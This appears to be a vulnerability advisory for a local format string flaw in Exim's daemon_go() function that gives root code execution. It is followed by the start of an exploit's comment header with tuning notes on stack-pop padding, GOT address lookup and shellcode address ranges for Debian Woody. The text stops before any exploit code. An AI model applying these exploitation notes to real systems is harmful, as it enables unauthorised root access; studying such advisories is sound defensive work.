A format string vulnerability has been discovered in Exim. The problem occurs in the daemon_go() function. By supplying malicious format strings via the command line, it is possible for an attacker to execute arbitrary code with root privileges.

It should be noted that the execution of the daemon_go() function is limited to the user defined as the 'exim-admin-user'. The 'exim-admin-user' must be defined at compile time.

/*******************************************************
 * CRUCIAL VALUES
 * 
 * these standard values work for Debian Woody i386,
 * source build. 
 *
 * Play with the padding if the program can't find the
 * right stackpop values.
 *
 * ALTERNATE_PORT is the port where exim will bind during
 * the stackpop sequences. The port will be incremented by
 * one for each try, so expect to have many instances of
 * exim running. (this is because the port is bound to as
 * root and the user program can't kill that process anymore)
 *
 * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
 *
 * Shellcode-Address can vary, it is dependant on the size
 * of the current environment. I had values between 0xbffffb00
 * and 0xbffffe90.
